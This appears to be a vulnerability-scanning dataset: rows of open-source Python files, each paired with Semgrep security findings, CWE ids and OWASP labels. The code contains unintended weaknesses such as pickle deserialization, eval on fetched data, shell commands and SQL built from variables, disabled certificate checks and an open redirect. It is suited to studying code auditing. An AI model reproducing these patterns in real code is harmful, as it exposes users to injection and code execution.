[{"finding_id": "semgrep_rules.python.django.security.audit.unvalidated-password_688dc36e09192f43_117adf82", "tool_name": "semgrep", "rule_id": "rules.python.django.security.audit.unvalidated-password", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "The password on 'self' is being se...
3
true
[ "CWE-521", "CWE-521" ]
[ "rules.python.django.security.audit.unvalidated-password", "rules.python.django.security.audit.unvalidated-password" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
[ 14, 49 ]
[ 14, 49 ]
[ 25, 13 ]
[ 62, 44 ]
[ "A07:2021 - Identification and Authentication Failures", "A07:2021 - Identification and Authentication Failures" ]
[ "The password on 'self' is being set without validating the password. Call django.contrib.auth.password_validation.validate_password() with validation functions before setting the password. See https://docs.djangoproject.com/en/3.0/topics/auth/passwords/ for more information.", "The password on 'self' is being se...
[ 5, 5 ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
user.py
/kool/contrib/auth/user.py
edasi/kool
MIT
2024-11-19T01:28:50.072976+00:00
1,689,847,672,000
2cd4b6c42eb909a3a96c696afe0ec533ffefb51a
2
{ "blob_id": "2cd4b6c42eb909a3a96c696afe0ec533ffefb51a", "branch_name": "refs/heads/master", "committer_date": 1689847672000, "content_id": "57e1580efd88830482176f2dea5e6466e6862aeb", "detected_licenses": [ "Apache-2.0" ], "directory_id": "73e6cfe18dd52725f3f3859e81755dfd32a61844", "extension": "py"...
2.40625
stackv2
import subprocess from time import sleep def run_command(command): p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) # This ensures the process has completed, AND sets the 'returncode' attr wh...
120
38.02
173
16
1,160
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_b13dd44316473e60_34e0d11f", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess ...
3
true
[ "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-subprocess-use-audit" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 5 ]
[ 8 ]
[ 9 ]
[ 37 ]
[ "A01:2017 - Injection" ]
[ "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'." ]
[ 7.5 ]
[ "LOW" ]
[ "HIGH" ]
gprom_wrapper.py
/clients/pythonweb/provgraph_web/gprom_wrapper.py
IITDBGroup/gprom
Apache-2.0
2024-11-19T01:28:51.891240+00:00
1,636,090,808,000
b6f583bc265626cb57518e201c7a85f4549c9923
3
{ "blob_id": "b6f583bc265626cb57518e201c7a85f4549c9923", "branch_name": "refs/heads/master", "committer_date": 1636090808000, "content_id": "402e870709605a6cd2f35926f0e678776b474aae", "detected_licenses": [ "MIT" ], "directory_id": "29407926c604ee8c705fb3bd46cf18b7a45d4e06", "extension": "py", "fi...
2.859375
stackv2
import os import time # import faiss import pickle import numpy as np import pandas as pd from rank_bm25 import BM25Plus, BM25Okapi, BM25L from tqdm.auto import tqdm from contextlib import contextmanager from typing import List, Tuple, NoReturn, Optional, Union from datasets import Dataset, load_from_disk @contextm...
144
34.83
91
18
1,277
python
[{"finding_id": "semgrep_rules.python.lang.correctness.exceptions.raise-not-base-exception_18a3da90f3418a01_41d7bb55", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.exceptions.raise-not-base-exception", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "In Python3...
4
true
[ "CWE-502", "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
[ 62, 76 ]
[ 62, 76 ]
[ 29, 17 ]
[ 46, 45 ]
[ "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "Avoid using `pickle`, which is known to lead to...
[ 5, 5 ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
bm25_retrieval_base.py
/src/retrievals/sparse/bm25_retrieval_base.py
boostcampaitech2/mrc-level2-nlp-01
MIT
2024-11-19T01:28:54.255861+00:00
1,581,515,107,000
03d9e9060a8ac47483e607e2fab122ed126c5009
3
{ "blob_id": "03d9e9060a8ac47483e607e2fab122ed126c5009", "branch_name": "refs/heads/master", "committer_date": 1581515107000, "content_id": "d026372b77410faf2cd28e1948bb5f3686aab65f", "detected_licenses": [ "Apache-2.0" ], "directory_id": "529794e08479475077713d1e383c6e94282480ad", "extension": "py"...
2.578125
stackv2
from flask import Flask, request, jsonify, Response, render_template import json import requests import os import sys from sesamutils import VariablesConfig, sesam_logger import urllib3 from itertools import groupby from operator import itemgetter import numpy as np import urllib.request, json from jsonpath_ng import j...
163
26.67
157
24
1,073
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.dynamic-urllib-use-detected_381afd40e80f4706_3029ba86", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dynamic-urllib-use-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected a dynamic value...
10
true
[ "CWE-295", "CWE-295" ]
[ "rules.python.requests.security.disabled-cert-validation", "rules.python.requests.security.disabled-cert-validation" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "HIGH", "HIGH" ]
[ 150, 154 ]
[ 150, 154 ]
[ 16, 22 ]
[ 114, 158 ]
[ "A03:2017 - Sensitive Data Exposure", "A03:2017 - Sensitive Data Exposure" ]
[ "Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation.", "Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation." ]
[ 7.5, 7.5 ]
[ "LOW", "LOW" ]
[ "LOW", "LOW" ]
service.py
/service.py
sesam-community/hash-data-service
Apache-2.0
2024-11-19T01:28:57.289741+00:00
1,513,965,345,000
bdc64da3ad1e4e30e532833225315fcc55644d4a
3
{ "blob_id": "bdc64da3ad1e4e30e532833225315fcc55644d4a", "branch_name": "refs/heads/master", "committer_date": 1513965345000, "content_id": "c0267b1fc2235e6bcdf1866fdcd1a1fa1348e3c4", "detected_licenses": [ "MIT" ], "directory_id": "48494e1dba40b9c49fbbf02b735f1e4911467e44", "extension": "py", "fi...
3.03125
stackv2
import subprocess as sp import pandas as pd from Bio import PDB import os import shlex import time # This script is designed for loading files from PDB with 30 seconds delay after each loading # This delay is according to robots.txt file from PDB, where you can find conventions about working conditions with # databas...
78
30.17
119
14
596
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_e45d027fe2e27ec7_d5a5eea8", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess ...
6
true
[ "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-subprocess-use-audit" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 33 ]
[ 33 ]
[ 1 ]
[ 50 ]
[ "A01:2017 - Injection" ]
[ "Detected subprocess function 'check_output' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'." ]
[ 7.5 ]
[ "LOW" ]
[ "HIGH" ]
pdbloading.py
/scripts/pdbloading.py
Serfentum/useful_scripts
MIT
2024-11-19T01:29:04.382538+00:00
1,610,373,806,000
17d00e0ac510b396baf19c9c494d1d43ad00d05d
2
{ "blob_id": "17d00e0ac510b396baf19c9c494d1d43ad00d05d", "branch_name": "refs/heads/master", "committer_date": 1610373806000, "content_id": "dfec410218cf316b7c39dcc3a2e7dd11ef5a415e", "detected_licenses": [ "MIT" ], "directory_id": "e734236a7b0e1f6ddaabf7a49eee174b2967d512", "extension": "py", "fi...
2.3125
stackv2
import os import pickle from sklearn import metrics from sklearn.ensemble import AdaBoostClassifier, RandomForestClassifier from sklearn.metrics import f1_score, make_scorer from sklearn.tree import DecisionTreeClassifier from .config import config def base_model(X_train_v, X_test_v, y_train, y_test, classifier, al...
67
25.54
87
13
392
python
[{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_5e9ecc3e745fcf97_f6114592", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is kno...
5
true
[ "CWE-502", "CWE-502", "CWE-502", "CWE-502", "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle" ]
[ "security", "security", "security", "security", "security" ]
[ "LOW", "LOW", "LOW", "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM" ]
[ 16, 25, 40, 49, 58 ]
[ 24, 32, 47, 56, 65 ]
[ 5, 13, 14, 13, 25 ]
[ 6, 6, 6, 6, 6 ]
[ "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "Avoid using `pickle`, which is known to lead to...
[ 5, 5, 5, 5, 5 ]
[ "LOW", "LOW", "LOW", "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM" ]
baseline_model.py
/emotion_classify/baseline_model.py
jasminkarki/Emotion-Classification
MIT
2024-11-19T01:29:10.373236+00:00
1,466,805,541,000
9c0bdf032cdd4c1896b7c824747f68afb90abb73
2
{ "blob_id": "9c0bdf032cdd4c1896b7c824747f68afb90abb73", "branch_name": "refs/heads/master", "committer_date": 1466805541000, "content_id": "b93262dff13c03773e9243408b64df37dff8369c", "detected_licenses": [ "MIT" ], "directory_id": "65c1695ed8f6308b894c4242da7eb0e1115fcf17", "extension": "py", "fi...
2.328125
stackv2
#! /usr/bin/env python import os import sys import yaml import time import boto import json import boto.s3 import tarfile import subprocess from boto.s3.key import Key # Set the default error statuses. These will be modified upon error ERROR_STATUS = 'success' ERROR_MESSAGE = 'Backup was successful' def read_config...
171
26.71
80
17
1,140
python
[{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_9344d06079ba8e15_5e1273e4", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' par...
5
true
[ "CWE-78", "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-system-call-audit", "rules.python.lang.security.audit.dangerous-system-call-tainted-env-args" ]
[ "security", "security" ]
[ "LOW", "MEDIUM" ]
[ "HIGH", "HIGH" ]
[ 127, 127 ]
[ 134, 134 ]
[ 13, 13 ]
[ 15, 15 ]
[ "A01:2017 - Injection", "A01:2017 - Injection" ]
[ "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "Found user-controll...
[ 7.5, 7.5 ]
[ "LOW", "MEDIUM" ]
[ "HIGH", "HIGH" ]
backup_to_s3.py
/backup_to_s3.py
ProgrammingAce/s3_backups
MIT
2024-11-19T01:29:10.791006+00:00
1,569,573,539,000
9b95e7ca76492c15e514e692396ce7d1b2e5edfa
2
{ "blob_id": "9b95e7ca76492c15e514e692396ce7d1b2e5edfa", "branch_name": "refs/heads/master", "committer_date": 1569573539000, "content_id": "479dc30368bd3ff16fc122b3f9fdd5600331593f", "detected_licenses": [ "MIT" ], "directory_id": "2c83edd177a73b004eaddeb2866bcfa928429b78", "extension": "py", "fi...
2.3125
stackv2
from . import auth from flask import render_template,redirect,url_for,flash,request from ..models import User from .. import db from flask_login import login_user,login_required, logout_user from ..models import User from .forms import RegistrationForm,LoginForm from ..email import mail_message @auth.route('/login',me...
48
30.6
96
16
327
python
[{"finding_id": "semgrep_rules.python.flask.security.open-redirect_6037d14788ea8cc4_ef8e28dd", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.open-redirect", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Data from request is passed to redirect(). This is an open redir...
2
true
[ "CWE-601" ]
[ "rules.python.flask.security.open-redirect" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 20 ]
[ 20 ]
[ 19 ]
[ 77 ]
[ "A01:2021 - Broken Access Control" ]
[ "Data from request is passed to redirect(). This is an open redirect and could be exploited. Consider using 'url_for()' to generate links to known locations. If you must use a URL to unknown pages, consider using 'urlparse()' or similar and checking if the 'netloc' property is the same as your site's host name. See...
[ 7.5 ]
[ "LOW" ]
[ "MEDIUM" ]
views.py
/app/auth/views.py
ClarisseU/pitches
MIT
2024-11-19T01:29:13.693423+00:00
1,572,441,064,000
fba54f4e34b15f8f7a7d20612f1f9326ecb43af4
2
{ "blob_id": "fba54f4e34b15f8f7a7d20612f1f9326ecb43af4", "branch_name": "refs/heads/master", "committer_date": 1572441064000, "content_id": "a489979df22a79850381c070123e90460796cb3e", "detected_licenses": [ "BSD-3-Clause" ], "directory_id": "2c35d7f9ce8967c558d7f2bc88853c7b0ff21ce7", "extension": "p...
2.5
stackv2
# -*- coding:utf-8 -*- # /usr/bin/env python """ Author: Albert King date: 2019/10/30 11:28 contact: jindaxiang@163.com desc: """ import requests import demjson import pandas as pd import execjs from akshare.stock.cons import (hk_js_decode, hk_sina_stock_dict_payload, ...
47
36.45
124
18
484
python
[{"finding_id": "semgrep_rules.python.requests.best-practice.use-raise-for-status_8210cf4865c12fa5_b8fa16e8", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-raise-for-status", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "There's an HTTP request ...
10
true
[ "CWE-95", "CWE-95" ]
[ "rules.python.lang.security.audit.eval-detected", "rules.python.lang.security.audit.eval-detected" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
[ 39, 41 ]
[ 39, 41 ]
[ 34, 34 ]
[ 77, 77 ]
[ "A03:2021 - Injection", "A03:2021 - Injection" ]
[ "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "Detected the use of eval(). eval() can be dangerous if used...
[ 5, 5 ]
[ "LOW", "LOW" ]
[ "HIGH", "HIGH" ]
hk_stock_sina.py
/akshare/stock/hk_stock_sina.py
RobertoMalatesta/akshare
BSD-3-Clause
2024-11-19T01:29:16.950815+00:00
1,590,562,454,000
23c3a0f0e0f0fb3db5d728ff2234be032e8815aa
2
{ "blob_id": "23c3a0f0e0f0fb3db5d728ff2234be032e8815aa", "branch_name": "refs/heads/master", "committer_date": 1590562454000, "content_id": "c3bc960bab87f9ddf18828b40ef7a10835c3fdec", "detected_licenses": [ "MIT" ], "directory_id": "7cc49a579584c9130c5e9bac6fd4efc6d64c8850", "extension": "py", "fi...
2.328125
stackv2
from MOOC.spiders.mooc_spider import Moocspider from scrapy.crawler import CrawlerProcess from scrapy.utils.project import get_project_settings import os class Craw(object): def merge(self): shell_str = 'ffmpeg -i {}.m3u8 -vcodec copy -acodec copy {}.mp4' now = os.getcwd() for root, dirs, ...
37
30.57
74
16
331
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_25c11d24c996ec6a_1360bfc4", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used...
1
true
[ "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-system-call-audit" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 18 ]
[ 18 ]
[ 21 ]
[ 33 ]
[ "A01:2017 - Injection" ]
[ "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability." ]
[ 7.5 ]
[ "LOW" ]
[ "HIGH" ]
main.py
/main.py
mhllwmt/mooc_crawl
MIT
2024-11-19T01:29:19.739240+00:00
1,569,563,161,000
618ef869293cde3caa0ba9a9cf76af6f56de9464
3
{ "blob_id": "618ef869293cde3caa0ba9a9cf76af6f56de9464", "branch_name": "refs/heads/master", "committer_date": 1569563161000, "content_id": "2619f1c78c72057232f69a0cb7387dbf94426561", "detected_licenses": [ "CC0-1.0" ], "directory_id": "9e3450d42b96dba37cab573cf9fbc5582c03d39b", "extension": "py", ...
2.671875
stackv2
import sqlite3 import os import operator # フィードマスターDB class FeedsDb: def __init__(self, path): self.__schema_ram = 'r' self.conn = sqlite3.connect(':memory:') self.conn.cursor().execute("attach '"+path+"' as '"+self.__schema_ram+"';") self.conn.row_factory = sqlite3.Row self....
67
47.87
161
16
784
python
[{"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_ca7a23eb1a19c487_4434c934", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string conc...
1
true
[ "CWE-89" ]
[ "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 9 ]
[ 9 ]
[ 9 ]
[ 84 ]
[ "A01:2017 - Injection" ]
[ "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expre...
[ 7.5 ]
[ "LOW" ]
[ "HIGH" ]
FeedsDb.py
/src/mod/FeedsDb.py
ytyaru/Python.News.20190927123127
CC0-1.0
2024-11-19T01:29:21.762241+00:00
1,564,687,661,000
e18bbe68694b97aea3abb550f37923a3b95b40f1
3
{ "blob_id": "e18bbe68694b97aea3abb550f37923a3b95b40f1", "branch_name": "refs/heads/master", "committer_date": 1564687661000, "content_id": "2b31c3285161801f7c906704c4756a9f796853e5", "detected_licenses": [ "MIT" ], "directory_id": "6cfd5016444ae5a3e543aec6c3d99dabfde5f75a", "extension": "py", "fi...
2.703125
stackv2
import requests from bs4 import BeautifulSoup import pickle import re import urllib3 import os url = "http://www.pythonchallenge.com/pc/def/peak.html" filename = 'banner.p' def save_pickle_from_url(url, filename): response = requests.get(url) soup = BeautifulSoup(response.text, 'html.parser') tag = soup.f...
37
25.41
69
13
244
python
[{"finding_id": "semgrep_rules.python.requests.best-practice.use-raise-for-status_dd0c46633328d28e_f15cbdb6", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-raise-for-status", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "There's an HTTP request ...
5
true
[ "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-pickle" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 31 ]
[ 31 ]
[ 14 ]
[ 32 ]
[ "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format." ]
[ 5 ]
[ "LOW" ]
[ "MEDIUM" ]
main.py
/pc05_peak/main.py
JonLevin25/python-challenge
MIT
2024-11-19T01:29:22.325005+00:00
1,418,447,455,000
b6ab85aef348caccefbf2fc1cec757649798e697
3
{ "blob_id": "b6ab85aef348caccefbf2fc1cec757649798e697", "branch_name": "refs/heads/master", "committer_date": 1418447455000, "content_id": "709054392513bc1f008d2a14aab688406ab3ada4", "detected_licenses": [ "MIT" ], "directory_id": "49cb868681b2da6140dcacddb142fa77d1c7f6af", "extension": "py", "fi...
2.71875
stackv2
import gzip import cPickle from os import listdir from PIL import Image, ImageChops import numpy as np import math training, valid, blah = cPickle.load(gzip.open('EnglishHandwritten.gz', 'rb')) output = 'SegTest.gz' FINAL_IMAGE_SIZE = 28 def get_class(c): if c >= '0' and c <= '9': return ord(c) - ord('0'...
62
23.71
78
13
469
python
[{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-cPickle_77bc613e072089b0_6b93a75a", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-cPickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `cPickle`, which is ...
3
true
[ "CWE-502", "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-cPickle", "rules.python.lang.security.deserialization.avoid-cPickle" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
[ 8, 62 ]
[ 8, 62 ]
[ 25, 1 ]
[ 79, 63 ]
[ "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "Avoid using `cPickle`, which is known to lead ...
[ 5, 5 ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
generate_segmentation_data.py
/src/lenet2/generate_segmentation_data.py
nityas/6869-finalproject
MIT
2024-11-19T01:29:25.378390+00:00
1,596,114,602,000
3614cec738fe281660acdbbd5d0e2c8575496d33
2
{ "blob_id": "3614cec738fe281660acdbbd5d0e2c8575496d33", "branch_name": "refs/heads/master", "committer_date": 1596114602000, "content_id": "a5dbd0f3c5cd644ae7a48e4822c4801ef9fefa0c", "detected_licenses": [ "BSD-3-Clause" ], "directory_id": "159ee0c5a87aef81f44cfcec328d8bcb04f17995", "extension": "p...
2.453125
stackv2
import sqlite3 import sys from collections import defaultdict import os from tqdm import tqdm import multiprocessing from itertools import islice if len(sys.argv) < 4: raise ValueError("run: python dump_partitions.py <db_file> <idx_prefix> <no_cores>") sqlite_db_path = sys.argv[1] idx_prefix = sys.argv[2] no_cor...
81
25.81
109
14
568
python
[{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_b1742f1671642c89_8ba172fd", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' par...
4
true
[ "CWE-89" ]
[ "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 64 ]
[ 64 ]
[ 12 ]
[ 48 ]
[ "A01:2017 - Injection" ]
[ "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expre...
[ 7.5 ]
[ "LOW" ]
[ "HIGH" ]
linear_dump_partitions.py
/linear_dump_partitions.py
mr-eyes/guidedPartitioner
BSD-3-Clause
2024-11-19T01:29:27.341003+00:00
1,587,720,799,000
0eafc9facc4b4825f49dd754457c06a2e2705028
3
{ "blob_id": "0eafc9facc4b4825f49dd754457c06a2e2705028", "branch_name": "refs/heads/master", "committer_date": 1587720799000, "content_id": "5bdb189e44db1920f2a6616aa7e2e68b2658a469", "detected_licenses": [ "MIT" ], "directory_id": "17fe5f4ff86af2b2b4b3ce7e9e50c90448643028", "extension": "py", "fi...
2.578125
stackv2
"""This module contains function for AixLib model generation""" import os import warnings from mako.template import Template from mako.lookup import TemplateLookup import teaser.logic.utilities as utilities def export_multizone(buildings, prj, path=None): """Exports models for AixLib library Exports a build...
234
35.3
80
20
1,897
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.mako-templates-detected_08c35f0a8e7e90da_22b68c2a", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.mako-templates-detected", "finding_type": "security", "severity": "low", "confidence": "low", "message": "Mako templates do not provide a glo...
11
true
[ "CWE-79", "CWE-79", "CWE-79", "CWE-79", "CWE-79", "CWE-79", "CWE-79" ]
[ "rules.python.lang.security.audit.mako-templates-detected", "rules.python.lang.security.audit.mako-templates-detected", "rules.python.lang.security.audit.mako-templates-detected", "rules.python.lang.security.audit.mako-templates-detected", "rules.python.lang.security.audit.mako-templates-detected", "rules...
[ "security", "security", "security", "security", "security", "security", "security" ]
[ "LOW", "LOW", "LOW", "LOW", "LOW", "LOW", "LOW" ]
[ "LOW", "LOW", "LOW", "LOW", "LOW", "LOW", "LOW" ]
[ 60, 65, 70, 75, 80, 195, 227 ]
[ 64, 69, 74, 79, 83, 196, 228 ]
[ 23, 23, 23, 23, 22, 24, 22 ]
[ 23, 23, 23, 23, 23, 49, 55 ]
[ "A07:2017 - Cross-Site Scripting (XSS)", "A07:2017 - Cross-Site Scripting (XSS)", "A07:2017 - Cross-Site Scripting (XSS)", "A07:2017 - Cross-Site Scripting (XSS)", "A07:2017 - Cross-Site Scripting (XSS)", "A07:2017 - Cross-Site Scripting (XSS)", "A07:2017 - Cross-Site Scripting (XSS)" ]
[ "Mako templates do not provide a global HTML escaping mechanism. This means you must escape all sensitive data in your templates using '| u' for URL escaping or '| h' for HTML escaping. If you are using Mako to serve web content, consider using a system such as Jinja2 which enables global escaping.", "Mako templa...
[ 3, 3, 3, 3, 3, 3, 3 ]
[ "LOW", "LOW", "LOW", "LOW", "LOW", "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM" ]
aixlib_output.py
/teaser/data/output/aixlib_output.py
PRemmen/TEASER
MIT
2024-11-19T01:29:33.659719+00:00
1,527,135,076,000
58053927a896b9b8beca815a096c53bdaf1d8dc2
2
{ "blob_id": "58053927a896b9b8beca815a096c53bdaf1d8dc2", "branch_name": "refs/heads/master", "committer_date": 1527141702000, "content_id": "719cdda58def79db461336169aa71e603222bcc2", "detected_licenses": [ "MIT" ], "directory_id": "cb1243c275febc42929d78bc730fa8590888a44c", "extension": "py", "fi...
2.40625
stackv2
#!/usr/bin/env python import os import sys import recalboxFiles import re from settings.unixSettings import UnixSettings import time import subprocess import json import eslog # Set a specific video mode def changeResolution(videomode): eslog.log("videomode: " + videomode) if videomode != 'default': cm...
51
33.18
127
15
492
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_a80ac5259248dded_97f2dcb4", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used...
3
true
[ "CWE-78", "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-system-call-audit", "rules.python.lang.security.audit.subprocess-shell-true" ]
[ "security", "security" ]
[ "LOW", "MEDIUM" ]
[ "HIGH", "HIGH" ]
[ 19, 44 ]
[ 19, 44 ]
[ 13, 79 ]
[ 27, 83 ]
[ "A01:2017 - Injection", "A01:2017 - Injection" ]
[ "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "Found 'subprocess' ...
[ 7.5, 7.5 ]
[ "LOW", "HIGH" ]
[ "HIGH", "LOW" ]
videoMode.py
/configgen/utils/videoMode.py
batocera-linux/_old_batocera-configgen_old
MIT
2024-11-19T01:29:36.437039+00:00
1,450,923,645,000
419bab073504f7cd79adf6f8930d90de370fc224
3
{ "blob_id": "419bab073504f7cd79adf6f8930d90de370fc224", "branch_name": "refs/heads/master", "committer_date": 1450923645000, "content_id": "c8a6802b68a171869225a806ee3fc2522d095577", "detected_licenses": [ "MIT" ], "directory_id": "8c82dfde59333b10c9b505465f38d33c5ec74182", "extension": "py", "fi...
2.625
stackv2
#!/usr/bin/python # -*- coding: utf-8 -*- from sys import argv import sys import MySQLdb #Get our data from the title #Format: ShowName Episode Number - Title filename = argv[1] filename = filename[:-4] show = filename.split("Episode")[0].strip() db = MySQLdb.connect("localhost", "root", "", "tynime") cursor = db.cu...
25
24.28
69
12
166
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.formatted-sql-query_15ac48347f92b0ce_ff8c571a", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.formatted-sql-query", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected possible formatted SQL query. U...
4
true
[ "CWE-89", "CWE-89", "CWE-89", "CWE-89" ]
[ "rules.python.lang.security.audit.formatted-sql-query", "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "rules.python.lang.security.audit.formatted-sql-query", "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query" ]
[ "security", "security", "security", "security" ]
[ "LOW", "LOW", "LOW", "LOW" ]
[ "MEDIUM", "HIGH", "MEDIUM", "HIGH" ]
[ 18, 18, 23, 23 ]
[ 18, 18, 23, 23 ]
[ 1, 1, 2, 2 ]
[ 20, 20, 21, 21 ]
[ "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection" ]
